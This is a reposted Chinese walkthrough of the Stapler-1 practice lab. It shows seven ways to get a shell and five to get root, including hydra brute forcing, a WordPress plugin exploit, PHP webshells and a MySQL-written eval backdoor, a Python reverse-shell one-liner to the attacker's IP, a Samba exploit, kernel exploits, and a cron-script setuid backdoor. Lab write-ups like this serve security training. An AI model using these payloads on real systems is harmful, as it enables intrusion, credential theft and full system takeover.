0


Stapler-1靶场详细教学(7种漏洞利用+5种提权)

前言

    这个靶场令我收获颇深,因为这里利用到的一些手法已经算是实战的技术,同时这里使用了多种方法getshell,getsehll之后又展示了多中方法提权,更多的开拓了我们的思维。

简介

    kali攻击机:192.168.1.12

    靶机:192.168.1.24

信息收集

0x00 主机发现

arp-scan -l

0x01 端口探测

nmap -sV -p- -A -T5 192.168.1.24 

这里有多个高危端口可以利用,小编会在接下来的操作一一解答。

20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

0x02 信息收集-1

通过上面扫面到的端口,我们可以看到一些高危端口,以及一些未授权服务,nmap扫描直接暴露出了ftp是属于未授权登入,我们登入直接看里面信息。

ftp 192.168.1.24
账号:Anonymous  没有密码

get note        将文件下载到本地

里面有一个文件,我们直接下载到本地进行分析

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

有用的信息并不多,发现两个用户名
Elly
John

0x03 信息收集-2

像这种没有找到东西的情况下,我们可以使用工具帮助我们信息收集

enum4linux:enum4linux是Kali Linux自带的一款信息收集工具。
它可以收集Windows系统的大量信息,如用户名列表、主机列表、
共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等

enum4linux -a ip    #做所有简单枚举(-U -S -G -P -r -o -n -i),
如果您没有提供任何其他选项,则启用此选项
enum4linux -l ip    #通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
enum4linux -o ip    #获取操作系统信息
enum4linux -r ip    #通过RID循环枚举用户
enum4linux -a 192.168.1.24

发现有两个共享文件和大量用户名,我们收集用户名,放入一个文件夹中。

S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
vi user.txt

cat user.txt | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt 
利用cut命令对数据进行整理,提取我们需要的部分

0x04 漏洞利用-1

使用hydra进行爆破,成功爆破出一组ssh的账号密码以及一组ftp的账号密码。

hydra -L user.txt -P user.txt 192.168.1.24 ssh
[22][ssh] host: 192.168.1.24   login: SHayslett   password: SHayslett

hydra -L user.txt -P user.txt 192.168.1.24 ftp
[21][ftp] host: 192.168.1.24   login: SHayslett   password: SHayslett

进入ssh后,接下来就可以进去直接提权啦~~~

ftp里面并没有发现什么有用的信息,不过还是可以进去看看的,这里小编就不演示了,有兴趣的小伙伴可以进去玩玩~~

这里先不展示了,我们后面统一提权。

0x05 信息收集-3

刚刚展示完21,22端口,接下来看看80端口

发现80端口啥也没有,对他进行目录爆破也没发现什么可以利用的东西,我们转眼望去,发现还有一个http服务,12380端口。

他是存在东西的,我们现在使用工具对网站进行分析

nikto -h http://192.168.1.24:12380/

发现该网站启用了ssl协议,并且开启找到了两个目录路径

admin112233
blogblog

发现一个站,这个站非常熟悉有没有,没错就是我们的wordpress

https://192.168.1.24:12380/blogblog/

时候我们不用紧张,如果我们对站不熟悉的话,我们这里可以用到的方法很多,我们可以直接将这个地址丢到awvs进行扫描,或者使用wapcan去进行扫描,这里小编直接使用wpscan扫描

wpscan --url https://192.168.1.24:12380/blogblog/ -e u --api-token rXPAHHYlLrF3xr50aaaFKWdIsNckML8Oqhr7sCpdJqQ --disable-tls-checks

--disable-tls-checks   正常情况下wpscan只能扫描http,加这个命令可以让它扫描https
--api-token            使用接口,需要我们登入wpscan官网注册
-e       爆破用户名
-o       输出文件
-t       最大线程
-P       密码本
-U       用户本

注意:没注册的小伙伴可以直接如下访问,会有报错让我们去官网注册。
wpscan --url https://192.168.1.24:12380/blogblog/ --disable-tls-checks

我们发现很多有用的信息,包括漏洞

https://192.168.1.24:12380/blogblog/wp-login.php?action=register
https://192.168.1.24:12380/blogblog/wp-content/uploads/

这些漏洞不会利用下面会给出连接让我们去看我们可以直接去利用

我们现在访问刚刚收集的两个网站地址。

0x06 漏洞利用-2

https://192.168.1.24:12380/blogblog/wp-content/uploads/

我们点进去

Parent Directory  ->  plugins  ->  advanced-video-embed-embed-videos-or-playlists/

https://192.168.1.24:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

发现这里有问题,谷歌搜索,

wordpress advanced video exploit

发现这里有个漏洞可以利用,直接返回数据库的账号密码。

我们直接进kali搜索

searchsploit 39646
locate php/webapps/39646.py 
cp /usr/share/exploitdb/exploits/php/webapps/39646.py .
vi 39646.py
python 39646.py

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

https://192.168.1.24:12380/blogblog/

如下修改一下配置,因为原本的poc是只能用于http,我们这里使用的https,所以需要对poc进行一下修改。

修改完之后,直接运行poc,然后我们去访问上传地址发现多了一个文件

https://192.168.1.24:12380/blogblog/wp-content/uploads/

我们下载到本地

wget https://192.168.1.24:12380/blogblog/wp-content/uploads/573090841.jpeg --no-check-certificate

file 573090841.jpeg

然后对文件进行分析,发现是一个php文件,打开看一下ls

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

账号:root  密码:plbkac

mysql -uroot -pplbkac -h 192.168.1.24

show databases;
use wordpress
show tables;
desc wp_users;
select user_login,user_pass from wp_users;

这里我们直接跳到结果,过程小伙伴们自己尝试哈

我们发现这个账号密码是通过加密的。我们可以复制出来整理

+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
vi sql.txt
awk -F'|' '{print $3}' sql.txt > sql1.txt  利用正则选出我们需要的部分

hash-identifier
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0

任意用一个密码去看这是什么加密

使用md5解密

john --wordlist=/usr/share/wordlists/rockyou.txt sql1.txt
cd ~/.john
vi john.pot

经过小编尝试,好像只有一组密码能登入进去

账号:john
密码:incorrect

找到wordpress的后台

https://192.168.1.24:12380/blogblog/wp-login.php

进入后台,之后对网站进行信息收集,发现文件上传点

Plugins-> add New ->upload Plugin :存在上传文件

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php . 
下载默认的php木马到本地
vi php-reverse-shell.php

nc -vlp 1234   kali监听
监听后去点击上传的文件:https://192.168.1.24:12380/blogblog/wp-content/uploads/

只需要修改一处反弹地址,点击文件后监听成功。

监听成功后可以进行提权,提权后面统一讲解。

0x07 漏洞利用-3

前面发现的部分大都相同,先生成文件,将文件通过后台上传,然后使用密码连接

weevely generate passwd dayu.php     生成php文件

weevely https://192.168.1.24:12380/blogblog/wp-content/uploads/dayu.php passwd
连接

0x08漏洞利用-4

前面几乎差不多,就是利用的点不同,这里就不截图了,方法和3一样

webacoo -g -o test.php

webacoo -t -u https://192.168.1.24:12380/blogblog/wp-content/uploads/test.php

0x09 漏洞利用-5

使用msf生成php脚本,然后监听,反弹shell

//生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.12 LPORT=4455 -f raw > ms.php

//监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.1.12
set LPORT 4455
run

0x10 漏洞利用-6

我们上面有进入一个数据库中,发现数据库存在写入权限。使用msyql数据库写入脚本

mysql -uroot -pplbkac -h 192.168.1.24 

select ‘<?php eval($_POST["cmd"]);?>’ into file '/var/www/https/blogblog/wp-content/uploads/shell.php';

木马写入成功,直接执行命令

https://192.168.1.24:12380/blogblog/wp-content/uploads/shell.php?cmd=id

nc -vlp  6677      kali监听

https://192.168.1.24:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.12",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹shell

0x11 漏洞利用-7

这种方法最好用,就是我们还记得他开放着139端口,这个端口是一个高危端口,它是永痕之蓝的常用端口之一。我们现在使用msf直接获取他的root权限。

139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
msfconsole
search Samba   ---符合2017年的就几个
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.1.24
set rport 139
run

提权

0x12 提权-1-内核提权

上述我们已经在0x10中获取到了root权限那个我们可以算是一种提权,直接通过smb的永恒之蓝获取用户的root权限,所以这个漏洞在实战中也是很危险的。

接下来我们了解一下内核提权,任意进入一个shell,就是我们上面漏洞利用了那么多次得到的shell。我这里使用的是(0x05 漏洞利用-2)中的shell,忘记了的可以去看看上面的内容。

uname -a                           查看系统版本内核
searchsploit Linux Kernel 4.4.x    根据版本内核找到可以利用的exp
cp /usr/share/exploitdb/exploits/linux/local/39772.txt .    将exp下载到本地

我们看内容发现利用不了,只是给了我们方法

我们接下来去网上去寻找exp,在github上找到了

exp下载地址:
https://github.com/p4sschen/ubuntu16-39772.zip-exp.git
解压之后有个39772.zip文件,我们将39772.zip下载到靶机中去

通过python开通服务
kali:
python -m http.server 8001

靶机:
cd /tmp
wget http://192.168.1.12:8001/39772.zip

unzip 39772.zip           解压
cd 39772                  进入文件夹
tar xvf exploit.tar       解压其中一个文件
cd ebpf_mapfd_doubleput_exploit   是存在compile.sh文件的
chmod +x compile.sh       给文件权限
./compile.sh              生成一个文件doubleput
ls    
./doubleput               执行文件,等待一会

成功获取root权限

0x13 提权-2-内核提权2

我们上面使用的是linux内核提权,现在我们使用ubantu内核提权

exp下载地址:
https://github.com/arthepsy/CVE-2021-4034.git
先下载到本地,然后通过python开通服务,下载到本地,跟上面操作一样,就不继续操作了,直接在展示

wget http://192.168.1.12:8002/cve-2021-4034poc.c
gcc cve-2021-4034-poc.c -o test
chmod +x test
./test

直接获取root权限

0x14 提权-3-sudo提权

我们这里可以使用内网常用的扫描脚本,上传到内网,进行信息收集,发现内网存在多处可以利用的信息

这里我们可以发现peter这个用户存在sudo权限,我们继续信息收集

cd /home           进入用户目录
grep -rn "ssh"     枚举出所有含有ssh的信息

JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:7:apt-get install sshpass
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost

账号:JKanode      密码:thisimypassword 
账号:peter        密码:JZQuyIN5 

这个时候我们可以直接验证了

ssh [email protected]
我们发现直接登入会显示zsh的shell,
这个时候我们需要使用bash的shell,这样顺手一点

ssh [email protected] -t '/bin/bash'
sudo -l
sudo su

获得root权限

0x15 提权-4-计划写入文件提权

一般我们找不到内核提权或者一些简单的提权方式的时候,我们可以写入定时任务,我们找定时任务的时候还得找权限高的定时任务,不然反弹到了权限也没什么用。

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息
find / -writable 2>/dev/null   ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v   ---枚举
find / -name logrotate* 2>/dev/null  ----查找和logrotate相关的文件信息
cat /etc/cron.d/logrotate
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
每五分钟运行一次cron-logrotate.sh!

插入代码:
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
等待五分钟.......

/tmp/exploit -p

获得root权限!!!

总结

    我们这里总共用到了7种方法获取权限,5钟方式获取root权限,很大程度开阔了哦我们的思路,如果有别的方法的小伙伴欢迎提出建议哦。

本文转载自: https://blog.csdn.net/weixin_60374959/article/details/128482852
版权归原作者 心"元"意“码” 所有, 如有侵权,请联系我们删除。

“Stapler-1靶场详细教学(7种漏洞利用+5种提权)”的评论:

还没有评论